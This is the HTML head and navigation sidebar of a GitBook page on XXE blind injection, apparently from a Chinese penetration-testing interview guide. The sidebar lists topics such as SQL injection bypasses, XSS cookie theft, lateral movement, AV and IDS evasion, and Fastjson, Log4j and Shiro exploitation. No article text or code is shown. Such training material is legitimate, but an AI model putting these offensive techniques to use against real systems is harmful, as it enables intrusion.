5339 lines
135 KiB
HTML
5339 lines
135 KiB
HTML
|
|
<!DOCTYPE HTML>
|
|
<html lang="" >
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
|
|
<title>11.2 XXE 盲注思路 · GitBook</title>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
|
<meta name="description" content="">
|
|
<meta name="generator" content="GitBook 3.2.3">
|
|
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/style.css">
|
|
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css">
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/gitbook-plugin-splitter/splitter.css">
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/gitbook-plugin-back-to-top-button/plugin.css">
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/gitbook-plugin-tbfed-pagefooter/footer.css">
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../gitbook/gitbook-plugin-fontsettings/website.css">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<meta name="HandheldFriendly" content="true"/>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
|
|
<meta name="apple-mobile-web-app-capable" content="yes">
|
|
<meta name="apple-mobile-web-app-status-bar-style" content="black">
|
|
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
|
|
<link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
|
|
|
|
|
|
<link rel="next" href="11-3.html" />
|
|
|
|
|
|
<link rel="prev" href="11-1.html" />
|
|
|
|
|
|
</head>
|
|
<body>
|
|
|
|
<div class="book">
|
|
<div class="book-summary">
|
|
|
|
|
|
|
|
<nav role="navigation">
|
|
|
|
|
|
|
|
<ul class="summary">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="chapter " data-level="1.1" data-path="../">
|
|
|
|
<a href="../">
|
|
|
|
|
|
前言
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2" data-path="../Chapter1/">
|
|
|
|
<a href="../Chapter1/">
|
|
|
|
|
|
1. 信息收集
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.2.1" data-path="../Chapter1/1-1.html">
|
|
|
|
<a href="../Chapter1/1-1.html">
|
|
|
|
|
|
1.1 如何处理子域名爆破的泛解析问题
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.2" data-path="../Chapter1/1-2.html">
|
|
|
|
<a href="../Chapter1/1-2.html">
|
|
|
|
|
|
1.2 如何绕过 CDN 查找真实 IP
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.3" data-path="../Chapter1/1-3.html">
|
|
|
|
<a href="../Chapter1/1-3.html">
|
|
|
|
|
|
1.3 phpinfo 页面你会关注哪些信息
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.4" data-path="../Chapter1/1-4.html">
|
|
|
|
<a href="../Chapter1/1-4.html">
|
|
|
|
|
|
1.4 如何判断目标操作系统
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.5" data-path="../Chapter1/1-5.html">
|
|
|
|
<a href="../Chapter1/1-5.html">
|
|
|
|
|
|
1.5 如何判断是否使用 CDN
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.6" data-path="../Chapter1/1-6.html">
|
|
|
|
<a href="../Chapter1/1-6.html">
|
|
|
|
|
|
1.6 有没有了解过 SVN/GIT 源代码泄露
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.7" data-path="../Chapter1/1-7.html">
|
|
|
|
<a href="../Chapter1/1-7.html">
|
|
|
|
|
|
1.7 说说域信息收集思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.8" data-path="../Chapter1/1-8.html">
|
|
|
|
<a href="../Chapter1/1-8.html">
|
|
|
|
|
|
1.8 如何快速定位域控
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.9" data-path="../Chapter1/1-9.html">
|
|
|
|
<a href="../Chapter1/1-9.html">
|
|
|
|
|
|
1.9 Wappalyzer 怎么进行指纹识别的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.10" data-path="../Chapter1/1-10.html">
|
|
|
|
<a href="../Chapter1/1-10.html">
|
|
|
|
|
|
1.10 登录验证码怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.11" data-path="../Chapter1/1-11.html">
|
|
|
|
<a href="../Chapter1/1-11.html">
|
|
|
|
|
|
1.11 工作组环境下怎么判断是否有域环境
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.12" data-path="../Chapter1/1-12.html">
|
|
|
|
<a href="../Chapter1/1-12.html">
|
|
|
|
|
|
1.12 只有一个网卡通过什么方式判断内网中是否有其他网段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.13" data-path="../Chapter1/1-13.html">
|
|
|
|
<a href="../Chapter1/1-13.html">
|
|
|
|
|
|
1.13 说说 Webpack 信息泄露
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.14" data-path="../Chapter1/1-14.html">
|
|
|
|
<a href="../Chapter1/1-14.html">
|
|
|
|
|
|
1.14 net group "Domain Admins" /domain 这条命令查询域内管理员没查到，那么可能出现了什么问题，怎么解决
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.15" data-path="../Chapter1/1-15.html">
|
|
|
|
<a href="../Chapter1/1-15.html">
|
|
|
|
|
|
1.15 继上题，这条命令的本质究竟是去哪里查
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.16" data-path="../Chapter1/1-16.html">
|
|
|
|
<a href="../Chapter1/1-16.html">
|
|
|
|
|
|
1.16 如何判断目标单位的机器是哪种协议出网
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.17" data-path="../Chapter1/1-17.html">
|
|
|
|
<a href="../Chapter1/1-17.html">
|
|
|
|
|
|
1.17 NSE 脚本原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.18" data-path="../Chapter1/1-18.html">
|
|
|
|
<a href="../Chapter1/1-18.html">
|
|
|
|
|
|
1.18 Nmap 的 FIN 扫描和空扫描是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.19" data-path="../Chapter1/1-19.html">
|
|
|
|
<a href="../Chapter1/1-19.html">
|
|
|
|
|
|
1.19 为什么要搜集目标单位的控股信息
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.20" data-path="../Chapter1/1-20.html">
|
|
|
|
<a href="../Chapter1/1-20.html">
|
|
|
|
|
|
1.20 怎么找边缘资产呢
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.21" data-path="../Chapter1/1-21.html">
|
|
|
|
<a href="../Chapter1/1-21.html">
|
|
|
|
|
|
1.21 移动端怎么收集域名呢
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.22" data-path="../Chapter1/1-22.html">
|
|
|
|
<a href="../Chapter1/1-22.html">
|
|
|
|
|
|
1.22 SSL 证书有什么用，对信息收集有什么帮助
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.23" data-path="../Chapter1/1-23.html">
|
|
|
|
<a href="../Chapter1/1-23.html">
|
|
|
|
|
|
1.23 说说源码泄露搜索
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.24" data-path="../Chapter1/1-24.html">
|
|
|
|
<a href="../Chapter1/1-24.html">
|
|
|
|
|
|
1.24 空白页面怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.25" data-path="../Chapter1/1-25.html">
|
|
|
|
<a href="../Chapter1/1-25.html">
|
|
|
|
|
|
1.25 JS 接口有什么作用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.26" data-path="../Chapter1/1-26.html">
|
|
|
|
<a href="../Chapter1/1-26.html">
|
|
|
|
|
|
1.26 一个正在运行的网站访问敏感路径回显 403 的原因有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.27" data-path="../Chapter1/1-27.html">
|
|
|
|
<a href="../Chapter1/1-27.html">
|
|
|
|
|
|
1.27 目标存在非常牛的杀软导致无法上线 CS，但是有远控软件怎么做
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.28" data-path="../Chapter1/1-28.html">
|
|
|
|
<a href="../Chapter1/1-28.html">
|
|
|
|
|
|
1.28 怎么收集主机上的所有有关密码的敏感信息
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.29" data-path="../Chapter1/1-29.html">
|
|
|
|
<a href="../Chapter1/1-29.html">
|
|
|
|
|
|
1.29 Web 配置文件信息怎么收集
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.30" data-path="../Chapter1/1-30.html">
|
|
|
|
<a href="../Chapter1/1-30.html">
|
|
|
|
|
|
1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.31" data-path="../Chapter1/1-31.html">
|
|
|
|
<a href="../Chapter1/1-31.html">
|
|
|
|
|
|
1.31 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比，在隐蔽性和灵活性上的优势和劣势
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.2.32" data-path="../Chapter1/1-32.html">
|
|
|
|
<a href="../Chapter1/1-32.html">
|
|
|
|
|
|
1.32 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3" data-path="../Chapter2/">
|
|
|
|
<a href="../Chapter2/">
|
|
|
|
|
|
2. XSS
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.3.1" data-path="../Chapter2/2-1.html">
|
|
|
|
<a href="../Chapter2/2-1.html">
|
|
|
|
|
|
2.1 输出到 href 属性的 XSS 如何防御
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3.2" data-path="../Chapter2/2-2.html">
|
|
|
|
<a href="../Chapter2/2-2.html">
|
|
|
|
|
|
2.2 XSS 绕过方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3.3" data-path="../Chapter2/2-3.html">
|
|
|
|
<a href="../Chapter2/2-3.html">
|
|
|
|
|
|
2.3 XSS 利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3.4" data-path="../Chapter2/2-4.html">
|
|
|
|
<a href="../Chapter2/2-4.html">
|
|
|
|
|
|
2.4 XSS 怎么打内网
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3.5" data-path="../Chapter2/2-5.html">
|
|
|
|
<a href="../Chapter2/2-5.html">
|
|
|
|
|
|
2.5 XSS 如何绕过 HttpOnly 获取 Cookie
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.3.6" data-path="../Chapter2/2-6.html">
|
|
|
|
<a href="../Chapter2/2-6.html">
|
|
|
|
|
|
2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.4" data-path="../Chapter3/">
|
|
|
|
<a href="../Chapter3/">
|
|
|
|
|
|
3. CSRF
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.4.1" data-path="../Chapter3/3-1.html">
|
|
|
|
<a href="../Chapter3/3-1.html">
|
|
|
|
|
|
3.1 SameSite 防御 CSRF 的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.4.2" data-path="../Chapter3/3-2.html">
|
|
|
|
<a href="../Chapter3/3-2.html">
|
|
|
|
|
|
3.2 JSON 格式的 CSRF 如何防御
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.4.3" data-path="../Chapter3/3-3.html">
|
|
|
|
<a href="../Chapter3/3-3.html">
|
|
|
|
|
|
3.3 Ajax 发送 POST 请求会发几个数据包
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5" data-path="../Chapter4/">
|
|
|
|
<a href="../Chapter4/">
|
|
|
|
|
|
4. SQL 注入
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.5.1" data-path="../Chapter4/4-1.html">
|
|
|
|
<a href="../Chapter4/4-1.html">
|
|
|
|
|
|
4.1 过滤逗号的 SQL 注入如何绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.2" data-path="../Chapter4/4-2.html">
|
|
|
|
<a href="../Chapter4/4-2.html">
|
|
|
|
|
|
4.2 SQL 报错注入函数有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.3" data-path="../Chapter4/4-3.html">
|
|
|
|
<a href="../Chapter4/4-3.html">
|
|
|
|
|
|
4.3 SQL 延时盲注 sleep() 被禁用怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.4" data-path="../Chapter4/4-4.html">
|
|
|
|
<a href="../Chapter4/4-4.html">
|
|
|
|
|
|
4.4 SQL 注入怎么写入 WebShell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.5" data-path="../Chapter4/4-5.html">
|
|
|
|
<a href="../Chapter4/4-5.html">
|
|
|
|
|
|
4.5 宽字节注入漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.6" data-path="../Chapter4/4-6.html">
|
|
|
|
<a href="../Chapter4/4-6.html">
|
|
|
|
|
|
4.6 二次注入漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.7" data-path="../Chapter4/4-7.html">
|
|
|
|
<a href="../Chapter4/4-7.html">
|
|
|
|
|
|
4.7 堆叠注入漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.8" data-path="../Chapter4/4-8.html">
|
|
|
|
<a href="../Chapter4/4-8.html">
|
|
|
|
|
|
4.8 SQLMap 参数 level 与 risk 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.9" data-path="../Chapter4/4-9.html">
|
|
|
|
<a href="../Chapter4/4-9.html">
|
|
|
|
|
|
4.9 MySQL 提权方式有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.10" data-path="../Chapter4/4-10.html">
|
|
|
|
<a href="../Chapter4/4-10.html">
|
|
|
|
|
|
4.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.11" data-path="../Chapter4/4-11.html">
|
|
|
|
<a href="../Chapter4/4-11.html">
|
|
|
|
|
|
4.11 MySQL 5.0 以上和 5.0 以下的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.12" data-path="../Chapter4/4-12.html">
|
|
|
|
<a href="../Chapter4/4-12.html">
|
|
|
|
|
|
4.12 SQL 注入 outfile() 被过滤怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.13" data-path="../Chapter4/4-13.html">
|
|
|
|
<a href="../Chapter4/4-13.html">
|
|
|
|
|
|
4.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.14" data-path="../Chapter4/4-14.html">
|
|
|
|
<a href="../Chapter4/4-14.html">
|
|
|
|
|
|
4.14 SQL 盲注 if() 函数被过滤怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.15" data-path="../Chapter4/4-15.html">
|
|
|
|
<a href="../Chapter4/4-15.html">
|
|
|
|
|
|
4.15 SQL 注入无回显利用 DNSLog 如何构造
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.16" data-path="../Chapter4/4-16.html">
|
|
|
|
<a href="../Chapter4/4-16.html">
|
|
|
|
|
|
4.16 and or 被过滤怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.17" data-path="../Chapter4/4-17.html">
|
|
|
|
<a href="../Chapter4/4-17.html">
|
|
|
|
|
|
4.17 SQLMap 自带脚本有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.18" data-path="../Chapter4/4-18.html">
|
|
|
|
<a href="../Chapter4/4-18.html">
|
|
|
|
|
|
4.18 扫出后缀为 .asp 的数据库文件，访问乱码如何利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.19" data-path="../Chapter4/4-19.html">
|
|
|
|
<a href="../Chapter4/4-19.html">
|
|
|
|
|
|
4.19 找到一个注入点怎么判断对方什么数据库
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.20" data-path="../Chapter4/4-20.html">
|
|
|
|
<a href="../Chapter4/4-20.html">
|
|
|
|
|
|
4.20 单引号被过滤怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.21" data-path="../Chapter4/4-21.html">
|
|
|
|
<a href="../Chapter4/4-21.html">
|
|
|
|
|
|
4.21 MySQL 一个 @ 和两个 @ 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.22" data-path="../Chapter4/4-22.html">
|
|
|
|
<a href="../Chapter4/4-22.html">
|
|
|
|
|
|
4.22 为什么 MSSQL 存储过程可以执行命令
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.5.23" data-path="../Chapter4/4-23.html">
|
|
|
|
<a href="../Chapter4/4-23.html">
|
|
|
|
|
|
4.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6" data-path="../Chapter5/">
|
|
|
|
<a href="../Chapter5/">
|
|
|
|
|
|
5. 横向移动
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.6.1" data-path="../Chapter5/5-1.html">
|
|
|
|
<a href="../Chapter5/5-1.html">
|
|
|
|
|
|
5.1 常见横向方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.2" data-path="../Chapter5/5-2.html">
|
|
|
|
<a href="../Chapter5/5-2.html">
|
|
|
|
|
|
5.2 CS 上线不出网机器用到的什么类型的 Beacon
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.3" data-path="../Chapter5/5-3.html">
|
|
|
|
<a href="../Chapter5/5-3.html">
|
|
|
|
|
|
5.3 PTT 有哪些攻击方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.4" data-path="../Chapter5/5-4.html">
|
|
|
|
<a href="../Chapter5/5-4.html">
|
|
|
|
|
|
5.4 DCSync 的利用条件
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.5" data-path="../Chapter5/5-5.html">
|
|
|
|
<a href="../Chapter5/5-5.html">
|
|
|
|
|
|
5.5 横向渗透命令执行手段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.6" data-path="../Chapter5/5-6.html">
|
|
|
|
<a href="../Chapter5/5-6.html">
|
|
|
|
|
|
5.6 PTH、PTT、PTK 三者区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.7" data-path="../Chapter5/5-7.html">
|
|
|
|
<a href="../Chapter5/5-7.html">
|
|
|
|
|
|
5.7 一台机器不能出网，如何把一个 exe 文件放到对应的目标机器上去
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.8" data-path="../Chapter5/5-8.html">
|
|
|
|
<a href="../Chapter5/5-8.html">
|
|
|
|
|
|
5.8 说说域内委派
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.9" data-path="../Chapter5/5-9.html">
|
|
|
|
<a href="../Chapter5/5-9.html">
|
|
|
|
|
|
5.9 怎么定位域管曾经登录哪些机器
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.10" data-path="../Chapter5/5-10.html">
|
|
|
|
<a href="../Chapter5/5-10.html">
|
|
|
|
|
|
5.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内，请问这种情况怎么进入域中找到域控
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.11" data-path="../Chapter5/5-11.html">
|
|
|
|
<a href="../Chapter5/5-11.html">
|
|
|
|
|
|
5.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.12" data-path="../Chapter5/5-12.html">
|
|
|
|
<a href="../Chapter5/5-12.html">
|
|
|
|
|
|
5.12 继上题，Responder 应该开在哪台机器上，为什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.13" data-path="../Chapter5/5-13.html">
|
|
|
|
<a href="../Chapter5/5-13.html">
|
|
|
|
|
|
5.13 继上题，为什么 ADCS 这个漏洞能获取域管理员权限，原理是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.14" data-path="../Chapter5/5-14.html">
|
|
|
|
<a href="../Chapter5/5-14.html">
|
|
|
|
|
|
5.14 如果拿到了一套 vCenter 的权限，如何去进一步深入利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.15" data-path="../Chapter5/5-15.html">
|
|
|
|
<a href="../Chapter5/5-15.html">
|
|
|
|
|
|
5.15 拿到 vCenter 管理员权限，但部分虚拟机处于锁屏状态怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.16" data-path="../Chapter5/5-16.html">
|
|
|
|
<a href="../Chapter5/5-16.html">
|
|
|
|
|
|
5.16 Kerberos 的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.6.17" data-path="../Chapter5/5-17.html">
|
|
|
|
<a href="../Chapter5/5-17.html">
|
|
|
|
|
|
5.17 Flannel、Calico 和 Cilium 有什么区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7" data-path="../Chapter6/">
|
|
|
|
<a href="../Chapter6/">
|
|
|
|
|
|
6. 中间件
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.7.1" data-path="../Chapter6/6-1.html">
|
|
|
|
<a href="../Chapter6/6-1.html">
|
|
|
|
|
|
6.1 Fastjson 漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.2" data-path="../Chapter6/6-2.html">
|
|
|
|
<a href="../Chapter6/6-2.html">
|
|
|
|
|
|
6.2 Log4j 漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.3" data-path="../Chapter6/6-3.html">
|
|
|
|
<a href="../Chapter6/6-3.html">
|
|
|
|
|
|
6.3 Shiro 反序列化的形成原因及利用链
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.4" data-path="../Chapter6/6-4.html">
|
|
|
|
<a href="../Chapter6/6-4.html">
|
|
|
|
|
|
6.4 Shiro 550 721 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.5" data-path="../Chapter6/6-5.html">
|
|
|
|
<a href="../Chapter6/6-5.html">
|
|
|
|
|
|
6.5 FastJSON 不出网利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.6" data-path="../Chapter6/6-6.html">
|
|
|
|
<a href="../Chapter6/6-6.html">
|
|
|
|
|
|
6.6 Windows 和 Linux 利用 REDIS 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.7" data-path="../Chapter6/6-7.html">
|
|
|
|
<a href="../Chapter6/6-7.html">
|
|
|
|
|
|
6.7 Nginx CRLF 注入原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.8" data-path="../Chapter6/6-8.html">
|
|
|
|
<a href="../Chapter6/6-8.html">
|
|
|
|
|
|
6.8 如何判断靶标是否使用 FastJSON
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.9" data-path="../Chapter6/6-9.html">
|
|
|
|
<a href="../Chapter6/6-9.html">
|
|
|
|
|
|
6.9 如何判断靶标是否使用 Log4j
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.10" data-path="../Chapter6/6-10.html">
|
|
|
|
<a href="../Chapter6/6-10.html">
|
|
|
|
|
|
6.10 如何判断靶标是否使用 Shiro
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.11" data-path="../Chapter6/6-11.html">
|
|
|
|
<a href="../Chapter6/6-11.html">
|
|
|
|
|
|
6.11 Nacos 如何通过配置文件拿 Shell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.12" data-path="../Chapter6/6-12.html">
|
|
|
|
<a href="../Chapter6/6-12.html">
|
|
|
|
|
|
6.12 Nacos 不出网利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.13" data-path="../Chapter6/6-13.html">
|
|
|
|
<a href="../Chapter6/6-13.html">
|
|
|
|
|
|
6.13 .do 文件是哪种框架
|
|
|
|
</a>
|
|
